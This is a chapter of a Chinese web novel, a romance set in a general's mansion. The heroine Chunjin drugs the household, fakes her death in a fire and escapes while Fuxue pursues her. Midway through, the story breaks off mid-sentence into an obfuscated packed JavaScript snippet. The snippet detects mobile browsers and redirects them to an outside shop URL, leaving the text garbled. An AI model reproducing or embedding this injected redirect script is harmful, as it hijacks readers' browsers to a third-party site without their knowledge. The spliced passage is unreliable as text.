拂雪委屈巴巴地看着她,弱声:“那姐姐吃饭早点休息,我明日再来看你。” 说完竟真施施然走了,留春尽坐在原地发懵。 桃枝端着菜进来,边布菜边问:“拂雪小姐怎么走了?” “别管她!”春尽咬牙切齿。 桃枝偷看她一眼,见她面色不佳,赶紧闭嘴做事。 先前还觉得肚子空空,现在再看那些样式精致的菜,竟毫无胃口。 春尽叫住转身欲走的桃枝,道:“坐下一起吃吧。” 以前不觉得一个人吃饭孤独,今天却觉得面前应该有个人。 春尽心里烦躁,把碗里的煎蛋戳得稀巴烂。 桃枝也不问她为何心情不佳,而是趁机使劲吃,美味佳肴在眼前,不吃岂不是辜负了? 不过春尽不是个会内耗的人,到了晚上她已经想通了。 不管拂雪跟范黎是什么关系,都不会影响她要离开这里的计划,逃出将军府,逃离京城,去一个没有人认识她的地方,过娘亲穷极一生追求的无拘无束的日子,这便足够了。 她跟拂雪认识不过月余,昨晚也不过是酒后乱性,一段露水情缘罢了,眨眼便能忘记,在这波澜不惊的日子里掀不起任何涟漪。 入夜风大,春尽关好门窗,点上安神的熏香躺下,睡着之前复盘先前的计划,觉得不能再拖了。 迟则生变,而且那个变故已经初露端倪。 书房里,范黎跟拂雪相对而坐,气氛略显焦灼。 面前的茶氤氲出白色雾气,将拂雪的眉眼遮掩得模糊,分散了几分锐利。 “你别这么看着我,说了不行就是不行,此事得从长计议。” “怎么计议?从你娶了姐姐的那天起,这事就没办法再善了了。” 范黎长叹一口气,回道:“陛下赐婚,我怎么办?抗旨吗?” “就因为不能抗旨,才让她在你这破烂将军府待了两年,现在我要把姐姐带走,你又拦着我,你到底想怎么样?” 拂雪说完眸色一变,捏碎了茶杯:“难道……你对她有了非分之想?” 范黎看着碎裂的茶杯,又是无奈至极的一声叹息。 想他范黎征战沙场,令无数敌军闻风丧胆,但面对这府里的女眷时,总有种心不从心之感。 说是他的妻妾,但有几个心在他身上? 尤其是面前这位,不仅堂而皇之地住进来,还要把他的妻子拐走,让他背上欺君之罪,有妹如此何愁不英年早逝! “自从受封大将军以来,我被无数双眼睛盯着,现在又得罪了丞相和皇后,稍有不慎就会被抓到错处,整个将军府获罪,你想带走春尽我无比支持,但你不能连累其他人啊。” 拂雪嗤笑一声:“即便你犯下死罪,那位也会倾尽全力保你,你担心什么?” 她看一眼掌心被碎瓷片划破的伤口,眼神毫无波动。 “至于其他人,死就死了,有什么要紧。” 范黎怒了,狠狠一拍桌子:“你说的是人话吗?!” 拂雪站起来,优雅地理了理裙角,朝他露出一个诡谲的笑容。 “要么你自宫,然后奏明圣上遣散妻妾,要么我明日带姐姐走,你休要拦我!” 范黎眸色变幻,涩声说:“你怎会变成这样?” 他知道拂雪自小生活在地狱里,冷血无情只是她用来保护自己的手段,可几年不见,她好像真的越来越暴戾了。 “小雪,你不是最讨厌崔熵吗?可你现在……越来越像他了。” 拂雪身形一晃,脸上露出痛苦之色,她暗自深呼吸一口,转身面色如常地看着范黎。 “郑夏至从将军府出去就进了皇宫,皇后一定会借题发挥找姐姐的麻烦,我不带她走的话,你护得住她吗?” 范黎沉默了,却见拂雪勾唇一笑,眸色晦暗不见光。 “放心吧,我绝对不会让自己成为崔熵那样的人。” 看着她逐渐远去的背影,范黎的眉头越蹙越深,就算护不住也要护,实在不行只能…… 他拉开墙壁上的暗格,从里面拿出一个金丝楠木匣子,缓缓打开,里面躺着一枚虎符。 拂雪去了春尽的院子,果然她把门从里面闩上了。 轻推开窗户,她盯着春尽的睡颜看了许久,直到疾风袭来,刮得窗户“哐当”作响,这才回过神来。 关好窗户,她转身往外走,身后传来开门声。 “怎么不进来?” “你把门从里面锁上了。” 春尽眯眼看着她,道:“不是留了扇窗吗?” 拂雪低头轻笑,跑过去一把抱住她,春尽被撞得后退两步才稳住身形。 “受伤了?” 春尽本不打算理她,闻到了血腥味才出来留她。 她也不知道自己是怎么想的,大概是医者父母心,不忍心伤患糟蹋自己的身体吧。 毫无说服力的理由,但她用得心安理得。 春尽把人带到房间里,为她清理伤口,上药,包扎,做得十分细致。 拂雪一直盯着她,在春尽抬头看她时,问:“姐姐,你愿不愿意跟我走?” 春尽心里一悸,手指颤了颤,她不动声色地移开目光,把手上的药粉擦掉。 “私奔吗?” “不是私奔,我带你出京,去一个……很好的地方。” 春尽低笑一声,问她:“你的房间还没收拾好,今晚也还是睡在我这吧。” 拂雪自然是求之不得。 春尽脱掉外衫上床,留了一半位置给她。拂雪小心靠近,大胆试探,手从春尽的腰际抚上去,抓着柔软轻捏。 春尽摁住她的手,道:“手都成这样了还不安分?” 拂雪往她身上一靠,声音黏糊:“就让我摸摸吧,我保证不做别的。” 春尽也是累了,无力再与她争辩什么,转身背对她把脸埋进枕头里。 拂雪紧贴上来,不让身体之间留一点缝隙。 听着怀中均匀的呼吸,她也很快困倦,睡着前才想起春尽还没给她答复。 第二日春尽是被外头的喧闹吵醒的,睁眼看到拂雪近在咫尺的脸,心跳漏了一拍。 她长得实在太好看了,像误入人间的仙女般,美得一点都不真实。 “笃笃笃”,急促的敲门声响起,春尽撑起身子问:“怎么了?” “夫人,出大事了!”桃枝的声音急到带了哭腔。 春尽心里“咯噔”一下,有了不好的预感。 皇后让人把将军府围了,罪名是杀害朝廷重臣之女。 郑夏至死了,皇后一口咬定是春尽所为,整个将军府都被牵连其中。 春尽知道后如坠冰窟,后背一阵一阵发凉,半天才找回思绪。 郑夏至从 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|12753248|134549||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 将军府出去的时候还好好的,今天就死了,宫内暴毙反倒把罪名安到她身上,真是好算计。 不惜杀了亲外甥女也要嫁祸她,这已经不单单是针对她了,而是想要整个将军府覆灭。 而她,不过是个跳板。 “姐姐,别怕,我们相信你,将军也不会让他们把你带走的。”赵清蓉握着她的手,坚定地说。 金浅和林颦也围在她身旁,她们没有一个人想过让范黎把她交出去。 范黎下了早朝回来,见此情景又去面圣,回来的时候脸色不是很好。 拂雪把其他人赶走,抱着春尽说:“不会有事的,别怕。” 其实春尽不怕,越是这种时候她越冷静,甚至已经安排好了接下来的每一步。 拂雪一直陪着她,很多时候什么话都没有,只是安静地抱着她。 吃过晚饭之后,拂雪被范黎叫走了,春尽也出门去了菊苑。 金浅看到她一点都不惊讶,只是问:“你想好了吗?” 春尽把手中的匣子放到桌上,回道:“麻烦你了,请务必快一点。” 金浅看匣子一眼,淡声说:“我帮你不是为了这些。” “我知道,但你们离开将军府后总要生活,多些钱财傍身总是好的。” 金浅抿了抿唇,道:“最迟三天,一切都会准备妥当。” 春尽勾唇道谢,然后披着月色回去,等到深夜拂雪还没回来。 奇怪的是,那么重的罪名,皇后的人却没立即抓人,而是一直围着将军府,仿佛在忌惮什么。 春尽知道范黎在保护她,对他很是感激,半夜偷偷从账房里拿了一箱银子,用事实给他一个教训——别太相信女人。 拂雪还是每天都陪着她,还把前来安慰她的赵清蓉等人赶走,端得一副正宫的模样。 第三日傍晚,春尽吩咐厨房做了一桌好菜,把大家聚到一起吃了顿饭。 “这几天因为我的事受累了,我敬大家一杯。” 众人端起酒杯一饮而尽,没有人怀疑什么。 饭吃饭之后除了春尽之外都昏昏沉沉的,春尽让下人把他们带回去,自己在饭桌前坐了很久。 时间差不多了,她心想。起身往外走,就见拂雪抱着手倚在门上,不知道看了多久。 “你怎么……” “我为什么没昏迷是吧?”拂雪把她拉进怀里,咬牙问:“你给我们下迷药是想干什么?” “还能干什么,让你们睡个好觉。”春尽勾住她的脖子,唇贴在她的颊侧。 “呵!你猜我信吗?” “为什么不信?” 春尽吻住她的唇,轻柔地吮咬厮磨。 拂雪的表情变了几下,最终还是折服于她,扣着春尽的后颈夺回主动权。 “这里不方便,我们回房吧。” 春尽把人诱到倚梅园,在亲吻最激烈的时候把迷药喂给她,看着她不可置信地瞪着自己,然后睡倒在自己怀里。 “对不起,希望你遇到更好的人。” 她把拂雪放到床上,在她额上轻吻一下,而后头也不回地大步离去。 六月的最后一天,将军府浓烟滚滚,大火整整烧了一夜才熄灭,范黎站在已经成了废墟的栖霞阁,低声道:“就算要把人带走也不用闹出这么大动静啊……” 不等她说完,浓烟中走出一道漆黑的身影。 拂雪身上的衣服被烧得破破烂烂,胳膊和手上流着血,神色阴冷地拽着一个东西出来。 众人定睛一看,才发现那是一具已经烧焦的尸体。 在此起彼伏的低声抽泣中,拂雪的表情一点点崩裂,神色阴鸷破碎。 “郑春尽,你真是……好得很!”她双目赤红,紧咬牙关,“再没有比你更狠心的人了。” 春尽留了一封遗书,把所有的罪责都揽在自己身上,一再强调将军府其他人毫不知情。 范黎拿着遗书去向皇帝陈情,大理寺以凶犯畏罪自杀结案,皇后和丞相不得不把人撤走。 将军府七日缟素,春尽下葬的那天,拂雪并不在场,早在栖霞阁失火的第二日,她就失踪了。